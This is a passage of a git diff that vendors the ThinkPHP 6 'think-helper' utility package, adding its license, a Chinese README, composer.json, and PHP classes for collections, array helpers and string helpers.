within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-helper/README.md b/vendor/topthink/think-helper/README.md new file mode 100644 index 0000000..7baf8f7 --- /dev/null +++ b/vendor/topthink/think-helper/README.md @@ -0,0 +1,33 @@ +# thinkphp6 常用的一些扩展类库 + +基于PHP7.1+ + +> 以下类库都在`\\think\\helper`命名空间下 + +## Str + +> 字符串操作 + +``` +// 检查字符串中是否包含某些字符串 +Str::contains($haystack, $needles) + +// 检查字符串是否以某些字符串结尾 +Str::endsWith($haystack, $needles) + +// 获取指定长度的随机字母数字组合的字符串 +Str::random($length = 16) + +// 字符串转小写 +Str::lower($value) + +// 字符串转大写 +Str::upper($value) + +// 获取字符串的长度 +Str::length($value) + +// 截取字符串 +Str::substr($string, $start, $length = null) + +``` \ No newline at end of file diff --git a/vendor/topthink/think-helper/composer.json b/vendor/topthink/think-helper/composer.json new file mode 100644 index 0000000..b68c43b --- /dev/null +++ b/vendor/topthink/think-helper/composer.json @@ -0,0 +1,22 @@ +{ + "name": "topthink/think-helper", + "description": "The ThinkPHP6 Helper Package", + "license": "Apache-2.0", + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "require": { + "php": ">=7.1.0" + }, + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [ + "src/helper.php" + ] + } +} diff --git a/vendor/topthink/think-helper/src/Collection.php b/vendor/topthink/think-helper/src/Collection.php new file mode 100644 index 0000000..905f3f8 --- /dev/null +++ b/vendor/topthink/think-helper/src/Collection.php @@ -0,0 +1,651 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; +use ArrayIterator; +use Countable; +use IteratorAggregate; +use JsonSerializable; +use think\contract\Arrayable; +use think\contract\Jsonable; +use think\helper\Arr; + +/** + * 数据集管理类 + */ +class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable, Arrayable, Jsonable +{ + /** + * 数据集数据 + * @var array + */ + protected $items = []; + + public function __construct($items = []) + { + $this->items = $this->convertToArray($items); + } + + public static function make($items = []) + { + return new static($items); + } + + /** + * 是否为空 + * @access public + * @return bool + */ + public function isEmpty(): bool + { + return empty($this->items); + } + + public function toArray(): array + { + return array_map(function ($value) { + return $value instanceof Arrayable ? $value->toArray() : $value; + }, $this->items); + } + + public function all(): array + { + return $this->items; + } + + /** + * 合并数组 + * + * @access public + * @param mixed $items 数据 + * @return static + */ + public function merge($items) + { + return new static(array_merge($this->items, $this->convertToArray($items))); + } + + /** + * 按指定键整理数据 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 键名 + * @return array + */ + public function dictionary($items = null, string &$indexKey = null) + { + if ($items instanceof self) { + $items = $items->all(); + } + + $items = is_null($items) ? $this->items : $items; + + if ($items && empty($indexKey)) { + $indexKey = is_array($items[0]) ? 'id' : $items[0]->getPk(); + } + + if (isset($indexKey) && is_string($indexKey)) { + return array_column($items, null, $indexKey); + } + + return $items; + } + + /** + * 比较数组,返回差集 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 指定比较的键名 + * @return static + */ + public function diff($items, string $indexKey = null) + { + if ($this->isEmpty() || is_scalar($this->items[0])) { + return new static(array_diff($this->items, $this->convertToArray($items))); + } + + $diff = []; + $dictionary = $this->dictionary($items, $indexKey); + + if (is_string($indexKey)) { + foreach ($this->items as $item) { + if (!isset($dictionary[$item[$indexKey]])) { + $diff[] = $item; + } + } + } + + return new static($diff); + } + + /** + * 比较数组,返回交集 + * + * @access public + * @param mixed $items 数据 + * @param string $indexKey 指定比较的键名 + * @return static + */ + public function intersect($items, string $indexKey = null) + { + if ($this->isEmpty() || is_scalar($this->items[0])) { + return new static(array_diff($this->items, $this->convertToArray($items))); + } + + $intersect = []; + $dictionary = $this->dictionary($items, $indexKey); + + if (is_string($indexKey)) { + foreach ($this->items as $item) { + if (isset($dictionary[$item[$indexKey]])) { + $intersect[] = $item; + } + } + } + + return new static($intersect); + } + + /** + * 交换数组中的键和值 + * + * @access public + * @return static + */ + public function flip() + { + return new static(array_flip($this->items)); + } + + /** + * 返回数组中所有的键名 + * + * @access public + * @return static + */ + public function keys() + { + return new static(array_keys($this->items)); + } + + /** + * 返回数组中所有的值组成的新 Collection 实例 + * @access public + * @return static + */ + public function values() + { + return new static(array_values($this->items)); + } + + /** + * 删除数组的最后一个元素(出栈) + * + * @access public + * @return mixed + */ + public function pop() + { + return array_pop($this->items); + } + + /** + * 通过使用用户自定义函数,以字符串返回数组 + * + * @access public + * @param callable $callback 调用方法 + * @param mixed $initial + * @return mixed + */ + public function reduce(callable $callback, $initial = null) + { + return array_reduce($this->items, $callback, $initial); + } + + /** + * 以相反的顺序返回数组。 + * + * @access public + * @return static + */ + public function reverse() + { + return new static(array_reverse($this->items)); + } + + /** + * 删除数组中首个元素,并返回被删除元素的值 + * + * @access public + * @return mixed + */ + public function shift() + { + return array_shift($this->items); + } + + /** + * 在数组结尾插入一个元素 + * @access public + * @param mixed $value 元素 + * @param string $key KEY + * @return void + */ + public function push($value, string $key = null): void + { + if (is_null($key)) { + $this->items[] = $value; + } else { + $this->items[$key] = $value; + } + } + + /** + * 把一个数组分割为新的数组块. + * + * @access public + * @param int $size 块大小 + * @param bool $preserveKeys + * @return static + */ + public function chunk(int $size, bool $preserveKeys = false) + { + $chunks = []; + + foreach (array_chunk($this->items, $size, $preserveKeys) as $chunk) { + $chunks[] = new static($chunk); + } + + return new static($chunks); + } + + /** + * 在数组开头插入一个元素 + * @access public + * @param mixed $value 元素 + * @param string $key KEY + * @return void + */ + public function unshift($value, string $key = null): void + { + if (is_null($key)) { + array_unshift($this->items, $value); + } else { + $this->items = [$key => $value] + $this->items; + } + } + + /** + * 给每个元素执行个回调 + * + * @access public + * @param callable $callback 回调 + * @return $this + */ + public function each(callable $callback) + { + foreach ($this->items as $key => $item) { + $result = $callback($item, $key); + + if (false === $result) { + break; + } elseif (!is_object($item)) { + $this->items[$key] = $result; + } + } + + return $this; + } + + /** + * 用回调函数处理数组中的元素 + * @access public + * @param callable|null $callback 回调 + * @return static + */ + public function map(callable $callback) + { + return new static(array_map($callback, $this->items)); + } + + /** + * 用回调函数过滤数组中的元素 + * @access public + * @param callable|null $callback 回调 + * @return static + */ + public function filter(callable $callback = null) + { + if ($callback) { + return new static(array_filter($this->items, $callback)); + } + + return new static(array_filter($this->items)); + } + + /** + * 根据字段条件过滤数组中的元素 + * @access public + * @param string $field 字段名 + * @param mixed $operator 操作符 + * @param mixed $value 数据 + * @return static + */ + public function where(string $field, $operator, $value = null) + { + if (is_null($value)) { + $value = $operator; + $operator = '='; + } + + return $this->filter(function ($data) use ($field, $operator, $value) { + if (strpos($field, '.')) { + [$field, $relation] = explode('.', $field); + + $result = $data[$field][$relation] ?? null; + } else { + $result = $data[$field] ?? null; + } + + switch (strtolower($operator)) { + case '===': + return $result === $value; + case '!==': + return $result !== $value; + case '!=': + case '<>': + return $result != $value; + case '>': + return $result > $value; + case '>=': + return $result >= $value; + case '<': + return $result < $value; + case '<=': + return $result <= $value; + case 'like': + return is_string($result) && false !== strpos($result, $value); + case 'not like': + return is_string($result) && false === strpos($result, $value); + case 'in': + return is_scalar($result) && in_array($result, $value, true); + case 'not in': + return is_scalar($result) && !in_array($result, $value, true); + case 'between': + [$min, $max] = is_string($value) ? explode(',', $value) : $value; + return is_scalar($result) && $result >= $min && $result <= $max; + case 'not between': + [$min, $max] = is_string($value) ? explode(',', $value) : $value; + return is_scalar($result) && $result > $max || $result < $min; + case '==': + case '=': + default: + return $result == $value; + } + }); + } + + /** + * LIKE过滤 + * @access public + * @param string $field 字段名 + * @param string $value 数据 + * @return static + */ + public function whereLike(string $field, string $value) + { + return $this->where($field, 'like', $value); + } + + /** + * NOT LIKE过滤 + * @access public + * @param string $field 字段名 + * @param string $value 数据 + * @return static + */ + public function whereNotLike(string $field, string $value) + { + return $this->where($field, 'not like', $value); + } + + /** + * IN过滤 + * @access public + * @param string $field 字段名 + * @param array $value 数据 + * @return static + */ + public function whereIn(string $field, array $value) + { + return $this->where($field, 'in', $value); + } + + /** + * NOT IN过滤 + * @access public + * @param string $field 字段名 + * @param array $value 数据 + * @return static + */ + public function whereNotIn(string $field, array $value) + { + return $this->where($field, 'not in', $value); + } + + /** + * BETWEEN 过滤 + * @access public + * @param string $field 字段名 + * @param mixed $value 数据 + * @return static + */ + public function whereBetween(string $field, $value) + { + return $this->where($field, 'between', $value); + } + + /** + * NOT BETWEEN 过滤 + * @access public + * @param string $field 字段名 + * @param mixed $value 数据 + * @return static + */ + public function whereNotBetween(string $field, $value) + { + return $this->where($field, 'not between', $value); + } + + /** + * 返回数据中指定的一列 + * @access public + * @param string|null $columnKey 键名 + * @param string|null $indexKey 作为索引值的列 + * @return array + */ + public function column(?string $columnKey, string $indexKey = null) + { + return array_column($this->items, $columnKey, $indexKey); + } + + /** + * 对数组排序 + * + * @access public + * @param callable|null $callback 回调 + * @return static + */ + public function sort(callable $callback = null) + { + $items = $this->items; + + $callback = $callback ?: function ($a, $b) { + return $a == $b ? 0 : (($a < $b) ? -1 : 1); + }; + + uasort($items, $callback); + + return new static($items); + } + + /** + * 指定字段排序 + * @access public + * @param string $field 排序字段 + * @param string $order 排序 + * @return $this + */ + public function order(string $field, string $order = 'asc') + { + return $this->sort(function ($a, $b) use ($field, $order) { + $fieldA = $a[$field] ?? null; + $fieldB = $b[$field] ?? null; + + return 'desc' == strtolower($order) ? $fieldB > $fieldA : $fieldA > $fieldB; + }); + } + + /** + * 将数组打乱 + * + * @access public + * @return static + */ + public function shuffle() + { + $items = $this->items; + + shuffle($items); + + return new static($items); + } + + /** + * 获取最第一个单元数据 + * + * @access public + * @param callable|null $callback + * @param null $default + * @return mixed + */ + public function first(callable $callback = null, $default = null) + { + return Arr::first($this->items, $callback, $default); + } + + /** + * 获取最后一个单元数据 + * + * @access public + * @param callable|null $callback + * @param null $default + * @return mixed + */ + public function last(callable $callback = null, $default = null) + { + return Arr::last($this->items, $callback, $default); + } + + /** + * 截取数组 + * + * @access public + * @param int $offset 起始位置 + * @param int $length 截取长度 + * @param bool $preserveKeys preserveKeys + * @return static + */ + public function slice(int $offset, int $length = null, bool $preserveKeys = false) + { + return new static(array_slice($this->items, $offset, $length, $preserveKeys)); + } + + // ArrayAccess + public function offsetExists($offset) + { + return array_key_exists($offset, $this->items); + } + + public function offsetGet($offset) + { + return $this->items[$offset]; + } + + public function offsetSet($offset, $value) + { + if (is_null($offset)) { + $this->items[] = $value; + } else { + $this->items[$offset] = $value; + } + } + + public function offsetUnset($offset) + { + unset($this->items[$offset]); + } + + //Countable + public function count() + { + return count($this->items); + } + + //IteratorAggregate + public function getIterator() + { + return new ArrayIterator($this->items); + } + + //JsonSerializable + public function jsonSerialize() + { + return $this->toArray(); + } + + /** + * 转换当前数据集为JSON字符串 + * @access public + * @param integer $options json参数 + * @return string + */ + public function toJson(int $options = JSON_UNESCAPED_UNICODE): string + { + return json_encode($this->toArray(), $options); + } + + public function __toString() + { + return $this->toJson(); + } + + /** + * 转换成数组 + * + * @access public + * @param mixed $items 数据 + * @return array + */ + protected function convertToArray($items): array + { + if ($items instanceof self) { + return $items->all(); + } + + return (array) $items; + } +} diff --git a/vendor/topthink/think-helper/src/contract/Arrayable.php b/vendor/topthink/think-helper/src/contract/Arrayable.php new file mode 100644 index 0000000..7c6b992 --- /dev/null +++ b/vendor/topthink/think-helper/src/contract/Arrayable.php @@ -0,0 +1,8 @@ + +// +---------------------------------------------------------------------- + +use think\Collection; +use think\helper\Arr; + +if (!function_exists('throw_if')) { + /** + * 按条件抛异常 + * + * @param mixed $condition + * @param Throwable|string $exception + * @param array ...$parameters + * @return mixed + * + * @throws Throwable + */ + function throw_if($condition, $exception, ...$parameters) + { + if ($condition) { + throw (is_string($exception) ? new $exception(...$parameters) : $exception); + } + + return $condition; + } +} + +if (!function_exists('throw_unless')) { + /** + * 按条件抛异常 + * + * @param mixed $condition + * @param Throwable|string $exception + * @param array ...$parameters + * @return mixed + * @throws Throwable + */ + function throw_unless($condition, $exception, ...$parameters) + { + if (!$condition) { + throw (is_string($exception) ? new $exception(...$parameters) : $exception); + } + + return $condition; + } +} + +if (!function_exists('tap')) { + /** + * 对一个值调用给定的闭包,然后返回该值 + * + * @param mixed $value + * @param callable|null $callback + * @return mixed + */ + function tap($value, $callback = null) + { + if (is_null($callback)) { + return $value; + } + + $callback($value); + + return $value; + } +} + +if (!function_exists('value')) { + /** + * Return the default value of the given value. + * + * @param mixed $value + * @return mixed + */ + function value($value) + { + return $value instanceof Closure ? $value() : $value; + } +} + +if (!function_exists('collect')) { + /** + * Create a collection from the given value. + * + * @param mixed $value + * @return Collection + */ + function collect($value = null) + { + return new Collection($value); + } +} + +if (!function_exists('data_fill')) { + /** + * Fill in data where it's missing. + * + * @param mixed $target + * @param string|array $key + * @param mixed $value + * @return mixed + */ + function data_fill(&$target, $key, $value) + { + return data_set($target, $key, $value, false); + } +} + +if (!function_exists('data_get')) { + /** + * Get an item from an array or object using "dot" notation. + * + * @param mixed $target + * @param string|array|int $key + * @param mixed $default + * @return mixed + */ + function data_get($target, $key, $default = null) + { + if (is_null($key)) { + return $target; + } + + $key = is_array($key) ? $key : explode('.', $key); + + while (!is_null($segment = array_shift($key))) { + if ('*' === $segment) { + if ($target instanceof Collection) { + $target = $target->all(); + } elseif (!is_array($target)) { + return value($default); + } + + $result = []; + + foreach ($target as $item) { + $result[] = data_get($item, $key); + } + + return in_array('*', $key) ? Arr::collapse($result) : $result; + } + + if (Arr::accessible($target) && Arr::exists($target, $segment)) { + $target = $target[$segment]; + } elseif (is_object($target) && isset($target->{$segment})) { + $target = $target->{$segment}; + } else { + return value($default); + } + } + + return $target; + } +} + +if (!function_exists('data_set')) { + /** + * Set an item on an array or object using dot notation. + * + * @param mixed $target + * @param string|array $key + * @param mixed $value + * @param bool $overwrite + * @return mixed + */ + function data_set(&$target, $key, $value, $overwrite = true) + { + $segments = is_array($key) ? $key : explode('.', $key); + + if (($segment = array_shift($segments)) === '*') { + if (!Arr::accessible($target)) { + $target = []; + } + + if ($segments) { + foreach ($target as &$inner) { + data_set($inner, $segments, $value, $overwrite); + } + } elseif ($overwrite) { + foreach ($target as &$inner) { + $inner = $value; + } + } + } elseif (Arr::accessible($target)) { + if ($segments) { + if (!Arr::exists($target, $segment)) { + $target[$segment] = []; + } + + data_set($target[$segment], $segments, $value, $overwrite); + } elseif ($overwrite || !Arr::exists($target, $segment)) { + $target[$segment] = $value; + } + } elseif (is_object($target)) { + if ($segments) { + if (!isset($target->{$segment})) { + $target->{$segment} = []; + } + + data_set($target->{$segment}, $segments, $value, $overwrite); + } elseif ($overwrite || !isset($target->{$segment})) { + $target->{$segment} = $value; + } + } else { + $target = []; + + if ($segments) { + data_set($target[$segment], $segments, $value, $overwrite); + } elseif ($overwrite) { + $target[$segment] = $value; + } + } + + return $target; + } +} + +if (!function_exists('trait_uses_recursive')) { + /** + * 获取一个trait里所有引用到的trait + * + * @param string $trait Trait + * @return array + */ + function trait_uses_recursive(string $trait): array + { + $traits = class_uses($trait); + foreach ($traits as $trait) { + $traits += trait_uses_recursive($trait); + } + + return $traits; + } +} + +if (!function_exists('class_basename')) { + /** + * 获取类名(不包含命名空间) + * + * @param mixed $class 类名 + * @return string + */ + function class_basename($class): string + { + $class = is_object($class) ? get_class($class) : $class; + return basename(str_replace('\\', '/', $class)); + } +} + +if (!function_exists('class_uses_recursive')) { + /** + *获取一个类里所有用到的trait,包括父类的 + * + * @param mixed $class 类名 + * @return array + */ + function class_uses_recursive($class): array + { + if (is_object($class)) { + $class = get_class($class); + } + + $results = []; + $classes = array_merge([$class => $class], class_parents($class)); + foreach ($classes as $class) { + $results += trait_uses_recursive($class); + } + + return array_unique($results); + } +} diff --git a/vendor/topthink/think-helper/src/helper/Arr.php b/vendor/topthink/think-helper/src/helper/Arr.php new file mode 100644 index 0000000..ed4d6a9 --- /dev/null +++ b/vendor/topthink/think-helper/src/helper/Arr.php @@ -0,0 +1,634 @@ + +// +---------------------------------------------------------------------- + +namespace think\helper; + +use ArrayAccess; +use InvalidArgumentException; +use think\Collection; + +class Arr +{ + + /** + * Determine whether the given value is array accessible. + * + * @param mixed $value + * @return bool + */ + public static function accessible($value) + { + return is_array($value) || $value instanceof ArrayAccess; + } + + /** + * Add an element to an array using "dot" notation if it doesn't exist. + * + * @param array $array + * @param string $key + * @param mixed $value + * @return array + */ + public static function add($array, $key, $value) + { + if (is_null(static::get($array, $key))) { + static::set($array, $key, $value); + } + + return $array; + } + + /** + * Collapse an array of arrays into a single array. + * + * @param array $array + * @return array + */ + public static function collapse($array) + { + $results = []; + + foreach ($array as $values) { + if ($values instanceof Collection) { + $values = $values->all(); + } elseif (!is_array($values)) { + continue; + } + + $results = array_merge($results, $values); + } + + return $results; + } + + /** + * Cross join the given arrays, returning all possible permutations. + * + * @param array ...$arrays + * @return array + */ + public static function crossJoin(...$arrays) + { + $results = [[]]; + + foreach ($arrays as $index => $array) { + $append = []; + + foreach ($results as $product) { + foreach ($array as $item) { + $product[$index] = $item; + + $append[] = $product; + } + } + + $results = $append; + } + + return $results; + } + + /** + * Divide an array into two arrays. One with keys and the other with values. + * + * @param array $array + * @return array + */ + public static function divide($array) + { + return [array_keys($array), array_values($array)]; + } + + /** + * Flatten a multi-dimensional associative array with dots. + * + * @param array $array + * @param string $prepend + * @return array + */ + public static function dot($array, $prepend = '') + { + $results = []; + + foreach ($array as $key => $value) { + if (is_array($value) && !empty($value)) { + $results = array_merge($results, static::dot($value, $prepend . $key . '.')); + } else { + $results[$prepend . $key] = $value; + } + } + + return $results; + } + + /** + * Get all of the given array except for a specified array of keys. + * + * @param array $array + * @param array|string $keys + * @return array + */ + public static function except($array, $keys) + { + static::forget($array, $keys); + + return $array; + } + + /** + * Determine if the given key exists in the provided array. + * + * @param \ArrayAccess|array $array + * @param string|int $key + * @return bool + */ + public static function exists($array, $key) + { + if ($array instanceof ArrayAccess) { + return $array->offsetExists($key); + } + + return array_key_exists($key, $array); + } + + /** + * Return the first element in an array passing a given truth test. + * + * @param array $array + * @param callable|null $callback + * @param mixed $default + * @return mixed + */ + public static function first($array, callable $callback = null, $default = null) + { + if (is_null($callback)) { + if (empty($array)) { + return value($default); + } + + foreach ($array as $item) { + return $item; + } + } + + foreach ($array as $key => $value) { + if (call_user_func($callback, $value, $key)) { + return $value; + } + } + + return value($default); + } + + /** + * Return the last element in an array passing a given truth test. + * + * @param array $array + * @param callable|null $callback + * @param mixed $default + * @return mixed + */ + public static function last($array, callable $callback = null, $default = null) + { + if (is_null($callback)) { + return empty($array) ? value($default) : end($array); + } + + return static::first(array_reverse($array, true), $callback, $default); + } + + /** + * Flatten a multi-dimensional array into a single level. + * + * @param array $array + * @param int $depth + * @return array + */ + public static function flatten($array, $depth = INF) + { + $result = []; + + foreach ($array as $item) { + $item = $item instanceof Collection ? $item->all() : $item; + + if (!is_array($item)) { + $result[] = $item; + } elseif ($depth === 1) { + $result = array_merge($result, array_values($item)); + } else { + $result = array_merge($result, static::flatten($item, $depth - 1)); + } + } + + return $result; + } + + /** + * Remove one or many array items from a given array using "dot" notation. + * + * @param array $array + * @param array|string $keys + * @return void + */ + public static function forget(&$array, $keys) + { + $original = &$array; + + $keys = (array) $keys; + + if (count($keys) === 0) { + return; + } + + foreach ($keys as $key) { + // if the exact key exists in the top-level, remove it + if (static::exists($array, $key)) { + unset($array[$key]); + + continue; + } + + $parts = explode('.', $key); + + // clean up before each pass + $array = &$original; + + while (count($parts) > 1) { + $part = array_shift($parts); + + if (isset($array[$part]) && is_array($array[$part])) { + $array = &$array[$part]; + } else { + continue 2; + } + } + + unset($array[array_shift($parts)]); + } + } + + /** + * Get an item from an array using "dot" notation. + * + * @param \ArrayAccess|array $array + * @param string $key + * @param mixed $default + * @return mixed + */ + public static function get($array, $key, $default = null) + { + if (!static::accessible($array)) { + return value($default); + } + + if (is_null($key)) { + return $array; + } + + if (static::exists($array, $key)) { + return $array[$key]; + } + + if (strpos($key, '.') === false) { + return $array[$key] ?? value($default); + } + + foreach (explode('.', $key) as $segment) { + if (static::accessible($array) && static::exists($array, $segment)) { + $array = $array[$segment]; + } else { + return value($default); + } + } + + return $array; + } + + /** + * Check if an item or items exist in an array using "dot" notation. + * + * @param \ArrayAccess|array $array + * @param string|array $keys + * @return bool + */ + public static function has($array, $keys) + { + $keys = (array) $keys; + + if (!$array || $keys === []) { + return false; + } + + foreach ($keys as $key) { + $subKeyArray = $array; + + if (static::exists($array, $key)) { + continue; + } + + foreach (explode('.', $key) as $segment) { + if (static::accessible($subKeyArray) && static::exists($subKeyArray, $segment)) { + $subKeyArray = $subKeyArray[$segment]; + } else { + return false; + } + } + } + + return true; + } + + /** + * Determines if an array is associative. + * + * An array is "associative" if it doesn't have sequential numerical keys beginning with zero. + * + * @param array $array + * @return bool + */ + public static function isAssoc(array $array) + { + $keys = array_keys($array); + + return array_keys($keys) !== $keys; + } + + /** + * Get a subset of the items from the given array. + * + * @param array $array + * @param array|string $keys + * @return array + */ + public static function only($array, $keys) + { + return array_intersect_key($array, array_flip((array) $keys)); + } + + /** + * Pluck an array of values from an array. + * + * @param array $array + * @param string|array $value + * @param string|array|null $key + * @return array + */ + public static function pluck($array, $value, $key = null) + { + $results = []; + + [$value, $key] = static::explodePluckParameters($value, $key); + + foreach ($array as $item) { + $itemValue = data_get($item, $value); + + // If the key is "null", we will just append the value to the array and keep + // looping. Otherwise we will key the array using the value of the key we + // received from the developer. Then we'll return the final array form. + if (is_null($key)) { + $results[] = $itemValue; + } else { + $itemKey = data_get($item, $key); + + if (is_object($itemKey) && method_exists($itemKey, '__toString')) { + $itemKey = (string) $itemKey; + } + + $results[$itemKey] = $itemValue; + } + } + + return $results; + } + + /** + * Explode the "value" and "key" arguments passed to "pluck". + * + * @param string|array $value + * @param string|array|null $key + * @return array + */ + protected static function explodePluckParameters($value, $key) + { + $value = is_string($value) ? explode('.', $value) : $value; + + $key = is_null($key) || is_array($key) ? $key : explode('.', $key); + + return [$value, $key]; + } + + /** + * Push an item onto the beginning of an array. + * + * @param array $array + * @param mixed $value + * @param mixed $key + * @return array + */ + public static function prepend($array, $value, $key = null) + { + if (is_null($key)) { + array_unshift($array, $value); + } else { + $array = [$key => $value] + $array; + } + + return $array; + } + + /** + * Get a value from the array, and remove it. + * + * @param array $array + * @param string $key + * @param mixed $default + * @return mixed + */ + public static function pull(&$array, $key, $default = null) + { + $value = static::get($array, $key, $default); + + static::forget($array, $key); + + return $value; + } + + /** + * Get one or a specified number of random values from an array. + * + * @param array $array + * @param int|null $number + * @return mixed + * + * @throws \InvalidArgumentException + */ + public static function random($array, $number = null) + { + $requested = is_null($number) ? 1 : $number; + + $count = count($array); + + if ($requested > $count) { + throw new InvalidArgumentException( + "You requested {$requested} items, but there are only {$count} items available." + ); + } + + if (is_null($number)) { + return $array[array_rand($array)]; + } + + if ((int) $number === 0) { + return []; + } + + $keys = array_rand($array, $number); + + $results = []; + + foreach ((array) $keys as $key) { + $results[] = $array[$key]; + } + + return $results; + } + + /** + * Set an array item to a given value using "dot" notation. + * + * If no key is given to the method, the entire array will be replaced. + * + * @param array $array + * @param string $key + * @param mixed $value + * @return array + */ + public static function set(&$array, $key, $value) + { + if (is_null($key)) { + return $array = $value; + } + + $keys = explode('.', $key); + + while (count($keys) > 1) { + $key = array_shift($keys); + + // If the key doesn't exist at this depth, we will just create an empty array + // to hold the next value, allowing us to create the arrays to hold final + // values at the correct depth. Then we'll keep digging into the array. + if (!isset($array[$key]) || !is_array($array[$key])) { + $array[$key] = []; + } + + $array = &$array[$key]; + } + + $array[array_shift($keys)] = $value; + + return $array; + } + + /** + * Shuffle the given array and return the result. + * + * @param array $array + * @param int|null $seed + * @return array + */ + public static function shuffle($array, $seed = null) + { + if (is_null($seed)) { + shuffle($array); + } else { + srand($seed); + + usort($array, function () { + return rand(-1, 1); + }); + } + + return $array; + } + + /** + * Sort the array using the given callback or "dot" notation. + * + * @param array $array + * @param callable|string|null $callback + * @return array + */ + public static function sort($array, $callback = null) + { + return Collection::make($array)->sort($callback)->all(); + } + + /** + * Recursively sort an array by keys and values. + * + * @param array $array + * @return array + */ + public static function sortRecursive($array) + { + foreach ($array as &$value) { + if (is_array($value)) { + $value = static::sortRecursive($value); + } + } + + if (static::isAssoc($array)) { + ksort($array); + } else { + sort($array); + } + + return $array; + } + + /** + * Convert the array into a query string. + * + * @param array $array + * @return string + */ + public static function query($array) + { + return http_build_query($array, null, '&', PHP_QUERY_RFC3986); + } + + /** + * Filter the array using the given callback. + * + * @param array $array + * @param callable $callback + * @return array + */ + public static function where($array, callable $callback) + { + return array_filter($array, $callback, ARRAY_FILTER_USE_BOTH); + } + + /** + * If the given value is not an array and not null, wrap it in one. + * + * @param mixed $value + * @return array + */ + public static function wrap($value) + { + if (is_null($value)) { + return []; + } + + return is_array($value) ? $value : [$value]; + } +} \ No newline at end of file diff --git a/vendor/topthink/think-helper/src/helper/Str.php b/vendor/topthink/think-helper/src/helper/Str.php new file mode 100644 index 0000000..7391fbd --- /dev/null +++ b/vendor/topthink/think-helper/src/helper/Str.php @@ -0,0 +1,234 @@ + +// +---------------------------------------------------------------------- +namespace think\helper; + +class Str +{ + + protected static $snakeCache = []; + + protected static $camelCache = []; + + protected static $studlyCache = []; + + /** + * 检查字符串中是否包含某些字符串 + * @param string $haystack + * @param string|array $needles + * @return bool + */ + public static function contains(string $haystack, $needles): bool + { + foreach ((array) $needles as $needle) { + if ('' != $needle && mb_strpos($haystack, $needle) !== false) { + return true; + } + } + + return false; + } + + /** + * 检查字符串是否以某些字符串结尾 + * + * @param string $haystack + * @param string|array $needles + * @return bool + */ + public static function endsWith(string $haystack, $needles): bool + { + foreach ((array) $needles as $needle) { + if ((string) $needle === static::substr($haystack, -static::length($needle))) { + return true; + } + } + + return false; + } + + /** + * 检查字符串是否以某些字符串开头 + * + * @param string $haystack + * @param string|array $needles + * @return bool + */ + public static function startsWith(string $haystack, $needles): bool + { + foreach ((array) $needles as $needle) { + if ('' != $needle && mb_strpos($haystack, $needle) === 0) { + return true; + } + } + + return false; + } + + /** + * 获取指定长度的随机字母数字组合的字符串 + * + * @param int $length + * @param int $type + * @param string $addChars + * @return string + */ + public static function random(int $length = 6, int $type = null, string $addChars = ''): string + { + $str = ''; + switch ($type) { + case 0: + $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' . $addChars; + break; + case 1: + $chars = str_repeat('0123456789', 3); + break; + case 2: + $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' . $addChars; + break; + case 3: + $chars = 'abcdefghijklmnopqrstuvwxyz' . $addChars; + break; + case 4: + $chars = "们以我到他会作时要动国产的一是工就年阶义发成部民可出能方进在了不和有大这主中人上为来分生对于学下级地个用同行面说种过命度革而多子后自社加小机也经力线本电高量长党得实家定深法表着水理化争现所二起政三好十战无农使性前等反体合斗路图把结第里正新开论之物从当两些还天资事队批点育重其思与间内去因件日利相由压员气业代全组数果期导平各基或月毛然如应形想制心样干都向变关问比展那它最及外没看治提五解系林者米群头意只明四道马认次文通但条较克又公孔领军流入接席位情运器并飞原油放立题质指建区验活众很教决特此常石强极土少已根共直团统式转别造切九你取西持总料连任志观调七么山程百报更见必真保热委手改管处己将修支识病象几先老光专什六型具示复安带每东增则完风回南广劳轮科北打积车计给节做务被整联步类集号列温装即毫知轴研单色坚据速防史拉世设达尔场织历花受求传口断况采精金界品判参层止边清至万确究书" . $addChars; + break; + default: + $chars = 'ABCDEFGHIJKMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789' . $addChars; + break; + } + if ($length > 10) { + $chars = $type == 1 ? str_repeat($chars, $length) : str_repeat($chars, 5); + } + if ($type != 4) { + $chars = str_shuffle($chars); + $str = substr($chars, 0, $length); + } else { + for ($i = 0; $i < $length; $i++) { + $str .= mb_substr($chars, floor(mt_rand(0, mb_strlen($chars, 'utf-8') - 1)), 1); + } + } + return $str; + } + + /** + * 字符串转小写 + * + * @param string $value + * @return string + */ + public static function lower(string $value): string + { + return mb_strtolower($value, 'UTF-8'); + } + + /** + * 字符串转大写 + * + * @param string $value + * @return string + */ + public static function upper(string $value): string + { + return mb_strtoupper($value, 'UTF-8'); + } + + /** + * 获取字符串的长度 + * + * @param string $value + * @return int + */ + public static function length(string $value): int + { + return mb_strlen($value); + } + + /** + * 截取字符串 + * + * @param string $string + * @param int $start + * @param int|null $length + * @return string + */ + public static function substr(string $string, int $start, int $length = null): string + { + return mb_substr($string, $start, $length, 'UTF-8'); + } + + /** + * 驼峰转下划线 + * + * @param string $value + * @param string $delimiter + * @return string + */ + public static function snake(string $value, string $delimiter = '_'): string + { + $key = $value; + + if (isset(static::$snakeCache[$key][$delimiter])) { + return static::$snakeCache[$key][$delimiter]; + } + + if (!ctype_lower($value)) { + $value = preg_replace('/\s+/u', '', $value); + + $value = static::lower(preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value)); + } + + return static::$snakeCache[$key][$delimiter] = $value; + } + + /** + * 下划线转驼峰(首字母小写) + * + * @param string $value + * @return string + */ + public static function camel(string $value): string + { + if (isset(static::$camelCache[$value])) { + return static::$camelCache[$value]; + } + + return static::$camelCache[$value] = 